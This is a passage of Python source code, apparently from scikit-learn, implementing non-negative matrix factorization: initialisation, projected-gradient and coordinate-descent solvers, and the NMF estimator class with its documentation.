        x_p_nrm, y_p_nrm = norm(x_p), norm(y_p)
        x_n_nrm, y_n_nrm = norm(x_n), norm(y_n)

        m_p, m_n = x_p_nrm * y_p_nrm, x_n_nrm * y_n_nrm

        # choose update
        if m_p > m_n:
            u = x_p / x_p_nrm
            v = y_p / y_p_nrm
            sigma = m_p
        else:
            u = x_n / x_n_nrm
            v = y_n / y_n_nrm
            sigma = m_n

        lbd = np.sqrt(S[j] * sigma)
        W[:, j] = lbd * u
        H[j, :] = lbd * v

    W[W < eps] = 0
    H[H < eps] = 0

    if init == "nndsvd":
        pass
    elif init == "nndsvda":
        avg = X.mean()
        W[W == 0] = avg
        H[H == 0] = avg
    elif init == "nndsvdar":
        rng = check_random_state(random_state)
        avg = X.mean()
        W[W == 0] = abs(avg * rng.randn(len(W[W == 0])) / 100)
        H[H == 0] = abs(avg * rng.randn(len(H[H == 0])) / 100)
    else:
        raise ValueError(
            'Invalid init parameter: got %r instead of one of %r' %
            (init, (None, 'random', 'nndsvd', 'nndsvda', 'nndsvdar')))

    return W, H


def _nls_subproblem(V, W, H, tol, max_iter, alpha=0., l1_ratio=0.,
                    sigma=0.01, beta=0.1):
    """Non-negative least square solver

    Solves a non-negative least squares subproblem using the projected
    gradient descent algorithm.

    Parameters
    ----------
    V : array-like, shape (n_samples, n_features)
        Constant matrix.

    W : array-like, shape (n_samples, n_components)
        Constant matrix.

    H : array-like, shape (n_components, n_features)
        Initial guess for the solution.

    tol : float
        Tolerance of the stopping condition.

    max_iter : int
        Maximum number of iterations before timing out.

    alpha : double, default: 0.
        Constant that multiplies the regularization terms. Set it to zero to
        have no regularization.

    l1_ratio : double, default: 0.
        The regularization mixing parameter, with 0 <= l1_ratio <= 1.
        For l1_ratio = 0 the penalty is an L2 penalty.
        For l1_ratio = 1 it is an L1 penalty.
        For 0 < l1_ratio < 1, the penalty is a combination of L1 and L2.

    sigma : float
        Constant used in the sufficient decrease condition checked by the line
        search.  Smaller values lead to a looser sufficient decrease condition,
        thus reducing the time taken by the line search, but potentially
        increasing the number of iterations of the projected gradient
        procedure. 0.01 is a commonly used value in the optimization
        literature.

    beta : float
        Factor by which the step size is decreased (resp. increased) until
        (resp. as long as) the sufficient decrease condition is satisfied.
        Larger values allow to find a better step size but lead to longer line
        search. 0.1 is a commonly used value in the optimization literature.

    Returns
    -------
    H : array-like, shape (n_components, n_features)
        Solution to the non-negative least squares problem.

    grad : array-like, shape (n_components, n_features)
        The gradient.

    n_iter : int
        The number of iterations done by the algorithm.

    References
    ----------
    C.-J. Lin. Projected gradient methods for non-negative matrix
    factorization. Neural Computation, 19(2007), 2756-2779.
    http://www.csie.ntu.edu.tw/~cjlin/nmf/
    """
    WtV = safe_sparse_dot(W.T, V)
    WtW = fast_dot(W.T, W)

    # values justified in the paper (alpha is renamed gamma)
    gamma = 1
    for n_iter in range(1, max_iter + 1):
        grad = np.dot(WtW, H) - WtV
        if alpha > 0 and l1_ratio == 1.:
            grad += alpha
        elif alpha > 0:
            grad += alpha * (l1_ratio + (1 - l1_ratio) * H)

        # The following multiplication with a boolean array is more than twice
        # as fast as indexing into grad.
        if norm(grad * np.logical_or(grad < 0, H > 0)) < tol:
            break

        Hp = H

        for inner_iter in range(20):
            # Gradient step.
            Hn = H - gamma * grad
            # Projection step.
            Hn *= Hn > 0
            d = Hn - H
            gradd = np.dot(grad.ravel(), d.ravel())
            dQd = np.dot(np.dot(WtW, d).ravel(), d.ravel())
            suff_decr = (1 - sigma) * gradd + 0.5 * dQd < 0
            if inner_iter == 0:
                decr_gamma = not suff_decr

            if decr_gamma:
                if suff_decr:
                    H = Hn
                    break
                else:
                    gamma *= beta
            elif not suff_decr or (Hp == Hn).all():
                H = Hp
                break
            else:
                gamma /= beta
                Hp = Hn

    if n_iter == max_iter:
        warnings.warn("Iteration limit reached in nls subproblem.")

    return H, grad, n_iter


def _update_projected_gradient_w(X, W, H, tolW, nls_max_iter, alpha, l1_ratio,
                                 sparseness, beta, eta):
    """Helper function for _fit_projected_gradient"""
    n_samples, n_features = X.shape
    n_components_ = H.shape[0]

    if sparseness is None:
        Wt, gradW, iterW = _nls_subproblem(X.T, H.T, W.T, tolW, nls_max_iter,
                                           alpha=alpha, l1_ratio=l1_ratio)
    elif sparseness == 'data':
        Wt, gradW, iterW = _nls_subproblem(
            safe_vstack([X.T, np.zeros((1, n_samples))]),
            safe_vstack([H.T, np.sqrt(beta) * np.ones((1,
                         n_components_))]),
            W.T, tolW, nls_max_iter, alpha=alpha, l1_ratio=l1_ratio)
    elif sparseness == 'components':
        Wt, gradW, iterW = _nls_subproblem(
            safe_vstack([X.T,
                         np.zeros((n_components_, n_samples))]),
            safe_vstack([H.T,
                         np.sqrt(eta) * np.eye(n_components_)]),
            W.T, tolW, nls_max_iter, alpha=alpha, l1_ratio=l1_ratio)

    return Wt.T, gradW.T, iterW


def _update_projected_gradient_h(X, W, H, tolH, nls_max_iter, alpha, l1_ratio,
                                 sparseness, beta, eta):
    """Helper function for _fit_projected_gradient"""
    n_samples, n_features = X.shape
    n_components_ = W.shape[1]

    if sparseness is None:
        H, gradH, iterH = _nls_subproblem(X, W, H, tolH, nls_max_iter,
                                          alpha=alpha, l1_ratio=l1_ratio)
    elif sparseness == 'data':
        H, gradH, iterH = _nls_subproblem(
            safe_vstack([X, np.zeros((n_components_, n_features))]),
            safe_vstack([W,
                         np.sqrt(eta) * np.eye(n_components_)]),
            H, tolH, nls_max_iter, alpha=alpha, l1_ratio=l1_ratio)
    elif sparseness == 'components':
        H, gradH, iterH = _nls_subproblem(
            safe_vstack([X, np.zeros((1, n_features))]),
            safe_vstack([W, np.sqrt(beta) * np.ones((1, n_components_))]),
            H, tolH, nls_max_iter, alpha=alpha, l1_ratio=l1_ratio)

    return H, gradH, iterH


def _fit_projected_gradient(X, W, H, tol, max_iter,
                            nls_max_iter, alpha, l1_ratio,
                            sparseness, beta, eta):
    """Compute Non-negative Matrix Factorization (NMF) with Projected Gradient

    References
    ----------
    C.-J. Lin. Projected gradient methods for non-negative matrix
    factorization. Neural Computation, 19(2007), 2756-2779.
    http://www.csie.ntu.edu.tw/~cjlin/nmf/

    P. Hoyer. Non-negative Matrix Factorization with Sparseness Constraints.
    Journal of Machine Learning Research 2004.
    """
    gradW = (np.dot(W, np.dot(H, H.T)) -
             safe_sparse_dot(X, H.T, dense_output=True))
    gradH = (np.dot(np.dot(W.T, W), H) -
             safe_sparse_dot(W.T, X, dense_output=True))

    init_grad = squared_norm(gradW) + squared_norm(gradH.T)
    # max(0.001, tol) to force alternating minimizations of W and H
    tolW = max(0.001, tol) * np.sqrt(init_grad)
    tolH = tolW

    for n_iter in range(1, max_iter + 1):
        # stopping condition
        # as discussed in paper
        proj_grad_W = squared_norm(gradW * np.logical_or(gradW < 0, W > 0))
        proj_grad_H = squared_norm(gradH * np.logical_or(gradH < 0, H > 0))

        if (proj_grad_W + proj_grad_H) / init_grad < tol ** 2:
            break

        # update W
        W, gradW, iterW = _update_projected_gradient_w(X, W, H, tolW,
                                                       nls_max_iter,
                                                       alpha, l1_ratio,
                                                       sparseness, beta, eta)
        if iterW == 1:
            tolW = 0.1 * tolW

        # update H
        H, gradH, iterH = _update_projected_gradient_h(X, W, H, tolH,
                                                       nls_max_iter,
                                                       alpha, l1_ratio,
                                                       sparseness, beta, eta)
        if iterH == 1:
            tolH = 0.1 * tolH

    H[H == 0] = 0   # fix up negative zeros

    if n_iter == max_iter:
        W, _, _ = _update_projected_gradient_w(X, W, H, tol, nls_max_iter,
                                               alpha, l1_ratio, sparseness,
                                               beta, eta)

    return W, H, n_iter


def _update_coordinate_descent(X, W, Ht, l1_reg, l2_reg, shuffle,
                               random_state):
    """Helper function for _fit_coordinate_descent

    Update W to minimize the objective function, iterating once over all
    coordinates. By symmetry, to update H, one can call
    _update_coordinate_descent(X.T, Ht, W, ...)

    """
    n_components = Ht.shape[1]

    HHt = fast_dot(Ht.T, Ht)
    XHt = safe_sparse_dot(X, Ht)

    # L2 regularization corresponds to increase of the diagonal of HHt
    if l2_reg != 0.:
        # adds l2_reg only on the diagonal
        HHt.flat[::n_components + 1] += l2_reg
    # L1 regularization corresponds to decrease of each element of XHt
    if l1_reg != 0.:
        XHt -= l1_reg

    if shuffle:
        permutation = random_state.permutation(n_components)
    else:
        permutation = np.arange(n_components)
    # The following seems to be required on 64-bit Windows w/ Python 3.5.
    permutation = np.asarray(permutation, dtype=np.intp)
    return _update_cdnmf_fast(W, HHt, XHt, permutation)


def _fit_coordinate_descent(X, W, H, tol=1e-4, max_iter=200, alpha=0.001,
                            l1_ratio=0., regularization=None, update_H=True,
                            verbose=0, shuffle=False, random_state=None):
    """Compute Non-negative Matrix Factorization (NMF) with Coordinate Descent

    The objective function is minimized with an alternating minimization of W
    and H. Each minimization is done with a cyclic (up to a permutation of the
    features) Coordinate Descent.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Constant matrix.

    W : array-like, shape (n_samples, n_components)
        Initial guess for the solution.

    H : array-like, shape (n_components, n_features)
        Initial guess for the solution.

    tol : float, default: 1e-4
        Tolerance of the stopping condition.

    max_iter : integer, default: 200
        Maximum number of iterations before timing out.

    alpha : double, default: 0.
        Constant that multiplies the regularization terms.

    l1_ratio : double, default: 0.
        The regularization mixing parameter, with 0 <= l1_ratio <= 1.
        For l1_ratio = 0 the penalty is an L2 penalty.
        For l1_ratio = 1 it is an L1 penalty.
        For 0 < l1_ratio < 1, the penalty is a combination of L1 and L2.

    regularization : 'both' | 'components' | 'transformation' | None
        Select whether the regularization affects the components (H), the
        transformation (W), both or none of them.

    update_H : boolean, default: True
        Set to True, both W and H will be estimated from initial guesses.
        Set to False, only W will be estimated.

    verbose : integer, default: 0
        The verbosity level.

    shuffle : boolean, default: False
        If true, randomize the order of coordinates in the CD solver.

    random_state : integer seed, RandomState instance, or None (default)
        Random number generator seed control.

    Returns
    -------
    W : array-like, shape (n_samples, n_components)
        Solution to the non-negative least squares problem.

    H : array-like, shape (n_components, n_features)
        Solution to the non-negative least squares problem.

    n_iter : int
        The number of iterations done by the algorithm.

    References
    ----------
    Cichocki, Andrzej, and P. H. A. N. Anh-Huy. "Fast local algorithms for
    large scale nonnegative matrix and tensor factorizations."
    IEICE transactions on fundamentals of electronics, communications and
    computer sciences 92.3: 708-721, 2009.
    """
    # so W and Ht are both in C order in memory
    Ht = check_array(H.T, order='C')
    X = check_array(X, accept_sparse='csr')

    # L1 and L2 regularization
    l1_H, l2_H, l1_W, l2_W = 0, 0, 0, 0
    if regularization in ('both', 'components'):
        alpha = float(alpha)
        l1_H = l1_ratio * alpha
        l2_H = (1. - l1_ratio) * alpha
    if regularization in ('both', 'transformation'):
        alpha = float(alpha)
        l1_W = l1_ratio * alpha
        l2_W = (1. - l1_ratio) * alpha

    rng = check_random_state(random_state)

    for n_iter in range(max_iter):
        violation = 0.

        # Update W
        violation += _update_coordinate_descent(X, W, Ht, l1_W, l2_W,
                                                shuffle, rng)
        # Update H
        if update_H:
            violation += _update_coordinate_descent(X.T, Ht, W, l1_H, l2_H,
                                                    shuffle, rng)

        if n_iter == 0:
            violation_init = violation

        if violation_init == 0:
            break

        if verbose:
            print("violation:", violation / violation_init)

        if violation / violation_init <= tol:
            if verbose:
                print("Converged at iteration", n_iter + 1)
            break

    return W, Ht.T, n_iter


def non_negative_factorization(X, W=None, H=None, n_components=None,
                               init='random', update_H=True, solver='cd',
                               tol=1e-4, max_iter=200, alpha=0., l1_ratio=0.,
                               regularization=None, random_state=None,
                               verbose=0, shuffle=False, nls_max_iter=2000,
                               sparseness=None, beta=1, eta=0.1):
    """Compute Non-negative Matrix Factorization (NMF)

    Find two non-negative matrices (W, H) whose product approximates the non-
    negative matrix X. This factorization can be used for example for
    dimensionality reduction, source separation or topic extraction.

    The objective function is::

        0.5 * ||X - WH||_Fro^2
        + alpha * l1_ratio * ||vec(W)||_1
        + alpha * l1_ratio * ||vec(H)||_1
        + 0.5 * alpha * (1 - l1_ratio) * ||W||_Fro^2
        + 0.5 * alpha * (1 - l1_ratio) * ||H||_Fro^2

    Where::

        ||A||_Fro^2 = \sum_{i,j} A_{ij}^2 (Frobenius norm)
        ||vec(A)||_1 = \sum_{i,j} abs(A_{ij}) (Elementwise L1 norm)

    The objective function is minimized with an alternating minimization of W
    and H. If H is given and update_H=False, it solves for W only.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Constant matrix.

    W : array-like, shape (n_samples, n_components)
        If init='custom', it is used as initial guess for the solution.

    H : array-like, shape (n_components, n_features)
        If init='custom', it is used as initial guess for the solution.
        If update_H=False, it is used as a constant, to solve for W only.

    n_components : integer
        Number of components, if n_components is not set all features
        are kept.

    init :  None | 'random' | 'nndsvd' | 'nndsvda' | 'nndsvdar' | 'custom'
        Method used to initialize the procedure.
        Default: 'nndsvd' if n_components < n_features, otherwise random.
        Valid options:

        - 'random': non-negative random matrices, scaled with:
            sqrt(X.mean() / n_components)

        - 'nndsvd': Nonnegative Double Singular Value Decomposition (NNDSVD)
            initialization (better for sparseness)

        - 'nndsvda': NNDSVD with zeros filled with the average of X
            (better when sparsity is not desired)

        - 'nndsvdar': NNDSVD with zeros filled with small random values
            (generally faster, less accurate alternative to NNDSVDa
            for when sparsity is not desired)

        - 'custom': use custom matrices W and H

    update_H : boolean, default: True
        Set to True, both W and H will be estimated from initial guesses.
        Set to False, only W will be estimated.

    solver : 'pg' | 'cd'
        Numerical solver to use:
        'pg' is a (deprecated) Projected Gradient solver.
        'cd' is a Coordinate Descent solver.

    tol : float, default: 1e-4
        Tolerance of the stopping condition.

    max_iter : integer, default: 200
        Maximum number of iterations before timing out.

    alpha : double, default: 0.
        Constant that multiplies the regularization terms.

    l1_ratio : double, default: 0.
        The regularization mixing parameter, with 0 <= l1_ratio <= 1.
        For l1_ratio = 0 the penalty is an elementwise L2 penalty
        (aka Frobenius Norm).
        For l1_ratio = 1 it is an elementwise L1 penalty.
        For 0 < l1_ratio < 1, the penalty is a combination of L1 and L2.

    regularization : 'both' | 'components' | 'transformation' | None
        Select whether the regularization affects the components (H), the
        transformation (W), both or none of them.

    random_state : integer seed, RandomState instance, or None (default)
        Random number generator seed control.

    verbose : integer, default: 0
        The verbosity level.

    shuffle : boolean, default: False
        If true, randomize the order of coordinates in the CD solver.

    nls_max_iter : integer, default: 2000
        Number of iterations in NLS subproblem.
        Used only in the deprecated 'pg' solver.

    sparseness : 'data' | 'components' | None, default: None
        Where to enforce sparsity in the model.
        Used only in the deprecated 'pg' solver.

    beta : double, default: 1
        Degree of sparseness, if sparseness is not None. Larger values mean
        more sparseness. Used only in the deprecated 'pg' solver.

    eta : double, default: 0.1
        Degree of correctness to maintain, if sparsity is not None. Smaller
        values mean larger error. Used only in the deprecated 'pg' solver.

    Returns
    -------
    W : array-like, shape (n_samples, n_components)
        Solution to the non-negative least squares problem.

    H : array-like, shape (n_components, n_features)
        Solution to the non-negative least squares problem.

    n_iter : int
        Actual number of iterations.

    References
    ----------
    C.-J. Lin. Projected gradient methods for non-negative matrix
    factorization. Neural Computation, 19(2007), 2756-2779.
    http://www.csie.ntu.edu.tw/~cjlin/nmf/

    Cichocki, Andrzej, and P. H. A. N. Anh-Huy. "Fast local algorithms for
    large scale nonnegative matrix and tensor factorizations."
    IEICE transactions on fundamentals of electronics, communications and
    computer sciences 92.3: 708-721, 2009.
    """

    X = check_array(X, accept_sparse=('csr', 'csc'))
    check_non_negative(X, "NMF (input X)")
    _check_string_param(sparseness, solver)

    n_samples, n_features = X.shape
    if n_components is None:
        n_components = n_features

    if not isinstance(n_components, INTEGER_TYPES) or n_components <= 0:
        raise ValueError("Number of components must be a positive integer;"
                         " got (n_components=%r)" % n_components)
    if not isinstance(max_iter, INTEGER_TYPES) or max_iter < 0:
        raise ValueError("Maximum number of iterations must be a positive integer;"
                         " got (max_iter=%r)" % max_iter)
    if not isinstance(tol, numbers.Number) or tol < 0:
        raise ValueError("Tolerance for stopping criteria must be "
                         "positive; got (tol=%r)" % tol)

    # check W and H, or initialize them
    if init == 'custom' and update_H:
        _check_init(H, (n_components, n_features), "NMF (input H)")
        _check_init(W, (n_samples, n_components), "NMF (input W)")
    elif not update_H:
        _check_init(H, (n_components, n_features), "NMF (input H)")
        W = np.zeros((n_samples, n_components))
    else:
        W, H = _initialize_nmf(X, n_components, init=init,
                               random_state=random_state)

    if solver == 'pg':
        warnings.warn("'pg' solver will be removed in release 0.19."
                      " Use 'cd' solver instead.", DeprecationWarning)
        if update_H:  # fit_transform
            W, H, n_iter = _fit_projected_gradient(X, W, H, tol,
                                                   max_iter,
                                                   nls_max_iter,
                                                   alpha, l1_ratio,
                                                   sparseness,
                                                   beta, eta)
        else:  # transform
            W, H, n_iter = _update_projected_gradient_w(X, W, H,
                                                        tol, nls_max_iter,
                                                        alpha, l1_ratio,
                                                        sparseness, beta,
                                                        eta)
    elif solver == 'cd':
        W, H, n_iter = _fit_coordinate_descent(X, W, H, tol,
                                               max_iter,
                                               alpha, l1_ratio,
                                               regularization,
                                               update_H=update_H,
                                               verbose=verbose,
                                               shuffle=shuffle,
                                               random_state=random_state)
    else:
        raise ValueError("Invalid solver parameter '%s'." % solver)

    if n_iter == max_iter:
        warnings.warn("Maximum number of iteration %d reached. Increase it to"
                      " improve convergence." % max_iter, ConvergenceWarning)

    return W, H, n_iter


class NMF(BaseEstimator, TransformerMixin):
    """Non-Negative Matrix Factorization (NMF)

    Find two non-negative matrices (W, H) whose product approximates the non-
    negative matrix X. This factorization can be used for example for
    dimensionality reduction, source separation or topic extraction.

    The objective function is::

        0.5 * ||X - WH||_Fro^2
        + alpha * l1_ratio * ||vec(W)||_1
        + alpha * l1_ratio * ||vec(H)||_1
        + 0.5 * alpha * (1 - l1_ratio) * ||W||_Fro^2
        + 0.5 * alpha * (1 - l1_ratio) * ||H||_Fro^2

    Where::

        ||A||_Fro^2 = \sum_{i,j} A_{ij}^2 (Frobenius norm)
        ||vec(A)||_1 = \sum_{i,j} abs(A_{ij}) (Elementwise L1 norm)

    The objective function is minimized with an alternating minimization of W
    and H.

    Read more in the :ref:`User Guide <NMF>`.

    Parameters
    ----------
    n_components : int or None
        Number of components, if n_components is not set all features
        are kept.

    init :  'random' | 'nndsvd' |  'nndsvda' | 'nndsvdar' | 'custom'
        Method used to initialize the procedure.
        Default: 'nndsvdar' if n_components < n_features, otherwise random.
        Valid options:

        - 'random': non-negative random matrices, scaled with:
            sqrt(X.mean() / n_components)

        - 'nndsvd': Nonnegative Double Singular Value Decomposition (NNDSVD)
            initialization (better for sparseness)

        - 'nndsvda': NNDSVD with zeros filled with the average of X
            (better when sparsity is not desired)

        - 'nndsvdar': NNDSVD with zeros filled with small random values
            (generally faster, less accurate alternative to NNDSVDa
            for when sparsity is not desired)

        - 'custom': use custom matrices W and H

    solver : 'pg' | 'cd'
        Numerical solver to use:
        'pg' is a Projected Gradient solver (deprecated).
        'cd' is a Coordinate Descent solver (recommended).

        .. versionadded:: 0.17
           Coordinate Descent solver.

        .. versionchanged:: 0.17
           Deprecated Projected Gradient solver.

    tol : double, default: 1e-4
        Tolerance value used in stopping conditions.

    max_iter : integer, default: 200
        Number of iterations to compute.

    random_state : integer seed, RandomState instance, or None (default)
        Random number generator seed control.

    alpha : double, default: 0.
        Constant that multiplies the regularization terms. Set it to zero to
        have no regularization.

        .. versionadded:: 0.17
           *alpha* used in the Coordinate Descent solver.

    l1_ratio : double, default: 0.
        The regularization mixing parameter, with 0 <= l1_ratio <= 1.
        For l1_ratio = 0 the penalty is an elementwise L2 penalty
        (aka Frobenius Norm).
        For l1_ratio = 1 it is an elementwise L1 penalty.
        For 0 < l1_ratio < 1, the penalty is a combination of L1 and L2.

        .. versionadded:: 0.17
           Regularization parameter *l1_ratio* used in the Coordinate Descent
           solver.

    shuffle : boolean, default: False
        If true, randomize the order of coordinates in the CD solver.

        .. versionadded:: 0.17
           *shuffle* parameter used in the Coordinate Descent solver.

    nls_max_iter : integer, default: 2000
        Number of iterations in NLS subproblem.
        Used only in the deprecated 'pg' solver.

        .. versionchanged:: 0.17
           Deprecated Projected Gradient solver. Use Coordinate Descent solver
           instead.

    sparseness : 'data' | 'components' | None, default: None
        Where to enforce sparsity in the model.
        Used only in the deprecated 'pg' solver.

        .. versionchanged:: 0.17
           Deprecated Projected Gradient solver. Use Coordinate Descent solver
           instead.

    beta : double, default: 1
        Degree of sparseness, if sparseness is not None. Larger values mean
        more sparseness. Used only in the deprecated 'pg' solver.

        .. versionchanged:: 0.17
           Deprecated Projected Gradient solver. Use Coordinate Descent solver
           instead.

    eta : double, default: 0.1
        Degree of correctness to maintain, if sparsity is not None. Smaller
        values mean larger error. Used only in the deprecated 'pg' solver.

        .. versionchanged:: 0.17
           Deprecated Projected Gradient solver. Use Coordinate Descent solver
           instead.

    Attributes
    ----------
    components_ : array, [n_components, n_features]
        Non-negative components of the data.

    reconstruction_err_ : number
        Frobenius norm of the matrix difference between
        the training data and the reconstructed data from
        the fit produced by the model. ``|| X - WH ||_2``

    n_iter_ : int
        Actual number of iterations.

    Examples
    --------
    >>> import numpy as np
    >>> X = np.array([[1,1], [2, 1], [3, 1.2], [4, 1], [5, 0.8], [6, 1]])
    >>> from sklearn.decomposition import NMF
    >>> model = NMF(n_components=2, init='random', random_state=0)
    >>> model.fit(X) #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE
    NMF(alpha=0.0, beta=1, eta=0.1, init='random', l1_ratio=0.0, max_iter=200,
      n_components=2, nls_max_iter=2000, random_state=0, shuffle=False,
      solver='cd', sparseness=None, tol=0.0001, verbose=0)

    >>> model.components_
    array([[ 2.09783018,  0.30560234],
           [ 2.13443044,  2.13171694]])
    >>> model.reconstruction_err_ #doctest: +ELLIPSIS
    0.00115993...

    References
    ----------
    C.-J. Lin. Projected gradient methods for non-negative matrix
    factorization. Neural Computation, 19(2007), 2756-2779.
    http://www.csie.ntu.edu.tw/~cjlin/nmf/

    Cichocki, Andrzej, and P. H. A. N. Anh-Huy. "Fast local algorithms for
    large scale nonnegative matrix and tensor factorizations."
    IEICE transactions on fundamentals of electronics, communications and
    computer sciences 92.3: 708-721, 2009.
    """

    def __init__(self, n_components=None, init=None, solver='cd',
                 tol=1e-4, max_iter=200, random_state=None,
                 alpha=0., l1_ratio=0., verbose=0, shuffle=False,
                 nls_max_iter=2000, sparseness=None, beta=1, eta=0.1):
        self.n_components = n_components
        self.init = init
        self.solver = solver
        self.tol = tol
        self.max_iter = max_iter
        self.random_state = random_state
        self.alpha = alpha
        self.l1_ratio = l1_ratio
        self.verbose = verbose
        self.shuffle = shuffle

        if sparseness is not None:
            warnings.warn("Controlling regularization through the sparseness,"
                          " beta and eta arguments is only available"
                          " for 'pg' solver, which will be removed"
                          " in release 0.19. Use another solver with L1 or L2"
                          " regularization instead.", DeprecationWarning)
        self.nls_max_iter = nls_max_iter
        self.sparseness = sparseness
        self.beta = beta
        self.eta = eta

    def fit_transform(self, X, y=None, W=None, H=None):
        """Learn a NMF model for the data X and returns the transformed data.

        This is more efficient than calling fit followed by transform.

        Parameters
        ----------
        X: {array-like, sparse matrix}, shape (n_samples, n_features)
            Data matrix to be decomposed

        W : array-like, shape (n_samples, n_components)
            If init='custom', it is used as initial guess for the solution.

        H : array-like, shape (n_components, n_features)
            If init='custom', it is used as initial guess for the solution.

        Attributes
        ----------
        components_ : array-like, shape (n_components, n_features)
            Factorization matrix, sometimes called 'dictionary'.

        n_iter_ : int
            Actual number of iterations for the transform.

        Returns
        -------
        W: array, shape (n_samples, n_components)
            Transformed data.
        """
        X = check_array(X, accept_sparse=('csr', 'csc'))

        W, H, n_iter_ = non_negative_factorization(
            X=X, W=W, H=H, n_components=self.n_components,
            init=self.init, update_H=True, solver=self.solver,
            tol=self.tol, max_iter=self.max_iter, alpha=self.alpha,
            l1_ratio=self.l1_ratio, regularization='both',
            random_state=self.random_state, verbose=self.verbose,
            shuffle=self.shuffle,
            nls_max_iter=self.nls_max_iter, sparseness=self.sparseness,
            beta=self.beta, eta=self.eta)

        if self.solver == 'pg':
            self.comp_sparseness_ = _sparseness(H.ravel())
            self.data_sparseness_ = _sparseness(W.ravel())

        self.reconstruction_err_ = _safe_compute_error(X, W, H)

        self.n_components_ = H.shape[0]
        self.components_ = H
        self.n_iter_ = n_iter_

        return W

    def fit(self, X, y=None, **params):
        """Learn a NMF model for the data X.

        Parameters
        ----------
        X: {array-like, sparse matrix}, shape (n_samples, n_features)
            Data matrix to be decomposed

        Attributes
        ----------
        components_ : array-like, shape (n_components, n_features)
            Factorization matrix, sometimes called 'dictionary'.

        n_iter_ : int
            Actual number of iterations for the transform.

        Returns
        -------
        self
        """
        self.fit_transform(X, **params)
        return self

    def transform(self, X):
        """Transform the data X according to the fitted NMF model

        Parameters
        ----------
        X: {array-like, sparse matrix}, shape (n_samples, n_features)
            Data matrix to be transformed by the model

        Attributes
        ----------
        n_iter_ : int
            Actual number of iterations for the transform.

        Returns
        -------
        W: array, shape (n_samples, n_components)
            Transformed data
        """
        check_is_fitted(self, 'n_components_')

        W, _, n_iter_ = non_negative_factorization(
            X=X, W=None, H=self.components_, n_components=self.n_components_,
            init=self.init, update_H=False, solver=self.solver,
            tol=self.tol, max_iter=self.max_iter, alpha=self.alpha,
            l1_ratio=self.l1_ratio, regularization='both',
            random_state=self.random_state, verbose=self.verbose,
            shuffle=self.shuffle,
            nls_max_iter=self.nls_max_iter, sparseness=self.sparseness,
            beta=self.beta, eta=self.eta)

        self.n_iter_ = n_iter_
        return W

    def inverse_transform(self, W):
        """Transform data back to its original space.

        Parameters
        ----------
        W: {array-like, sparse matrix}, shape (n_samples, n_components)
            Transformed data matrix

        Returns
        -------
        X: {array-like, sparse matrix}, shape (n_samples, n_features)
            Data matrix of original shape

        .. versionadded:: 0.18
        """
        check_is_fitted(self, 'n_components_')
        return np.dot(W, self.components_)


@deprecated("It will be removed in release 0.19. Use NMF instead."
            "'pg' solver is still available until release 0.19.")
class ProjectedGradientNMF(NMF):
    """Non-Negative Matrix Factorization (NMF)

    Find two non-negative matrices (W, H) whose product approximates the non-
    negative matrix X. This factorization can be used for example for
    dimensionality reduction, source separation or topic extraction.

    The objective function is::

        0.5 * ||X - WH||_Fro^2
        + alpha * l1_ratio * ||vec(W)||_1
        + alpha * l1_ratio * ||vec(H)||_1
        + 0.5 * alpha * (1 - l1_ratio) * ||W||_Fro^2
        + 0.5 * alpha * (1 - l1_ratio) * ||H||_Fro^2

    Where::

        ||A||_Fro^2 = \sum_{i,j} A_{ij}^2 (Frobenius norm)
        ||vec(A)||_1 = \sum_{i,j} abs(A_{ij}) (Elementwise L1 norm)

    The objective function is minimized with an alternating minimization of W
    and H.

    Read more in the :ref:`User Guide <NMF>`.

    Parameters
    ----------
    n_components : int or None
        Number of components, if n_components is not set all features
        are kept.

    init :  'random' | 'nndsvd' |  'nndsvda' | 'nndsvdar' | 'custom'
        Method used to initialize the procedure.
        Default: 'nndsvdar' if n_components < n_features, otherwise random.
        Valid options:

        - 'random': non-negative random matrices, scaled with:
            sqrt(X.mean() / n_components)

        - 'nndsvd': Nonnegative Double Singular Value Decomposition (NNDSVD)
            initialization (better for sparseness)

        - 'nndsvda': NNDSVD with zeros filled with the average of X
            (better when sparsity is not desired)

        - 'nndsvdar': NNDSVD with zeros filled with small random values
            (generally faster, less accurate alternative to NNDSVDa
            for when sparsity is not desired)

        - 'custom': use custom matrices W and H

    solver : 'pg' | 'cd'
        Numerical solver to use:
        'pg' is a Projected Gradient solver (deprecated).
        'cd' is a Coordinate Descent solver (recommended).

        .. versionadded:: 0.17
           Coordinate Descent solver.

        .. versionchanged:: 0.17
           Deprecated Projected Gradient solver.

    tol : double, default: 1e-4
        Tolerance value used in stopping conditions.

    max_iter : integer, default: 200
        Number of iterations to compute.

    random_state : integer seed, RandomState instance, or None (default)
        Random number generator seed control.

    alpha : double, default: 0.
        Constant that multiplies the regularization terms. Set it to zero to
        have no regularization.

        .. versionadded:: 0.17
           *alpha* used in the Coordinate Descent solver.

    l1_ratio : double, default: 0.
        The regularization mixing parameter, with 0 <= l1_ratio <= 1.
        For l1_ratio = 0 the penalty is an elementwise L2 penalty
        (aka Frobenius Norm).
        For l1_ratio = 1 it is an elementwise L1 penalty.
        For 0 < l1_ratio < 1, the penalty is a combination of L1 and L2.

        .. versionadded:: 0.17
           Regularization parameter *l1_ratio* used in the Coordinate Descent
           solver.

    shuffle : boolean, default: False
        If true, randomize the order of coordinates in the CD solver.

        .. versionadded:: 0.17
           *shuffle* parameter used in the Coordinate Descent solver.

    nls_max_iter : integer, default: 2000
        Number of iterations in NLS subproblem.
        Used only in the deprecated 'pg' solver.

        .. versionchanged:: 0.17
           Deprecated Projected Gradient solver. Use Coordinate Descent solver
           instead.

    sparseness : 'data' | 'components' | None, default: None
        Where to enforce sparsity in the model.
        Used only in the deprecated 'pg' solver.

        .. versionchanged:: 0.17
           Deprecated Projected Gradient solver. Use Coordinate Descent solver
           instead.

    beta : double, default: 1
        Degree of sparseness, if sparseness is not None. Larger values mean
        more sparseness. Used only in the deprecated 'pg' solver.

        .. versionchanged:: 0.17
           Deprecated Projected Gradient solver. Use Coordinate Descent solver
           instead.

    eta : double, default: 0.1
        Degree of correctness to maintain, if sparsity is not None. Smaller
        values mean larger error. Used only in the deprecated 'pg' solver.

        .. versionchanged:: 0.17
           Deprecated Projected Gradient solver. Use Coordinate Descent solver
           instead.

    Attributes
    ----------
    components_ : array, [n_components, n_features]
        Non-negative components of the data.

    reconstruction_err_ : number
        Frobenius norm of the matrix difference between
        the training data and the reconstructed data from
        the fit produced by the model. ``|| X - WH ||_2``

    n_iter_ : int
        Actual number of iterations.

    Examples
    --------
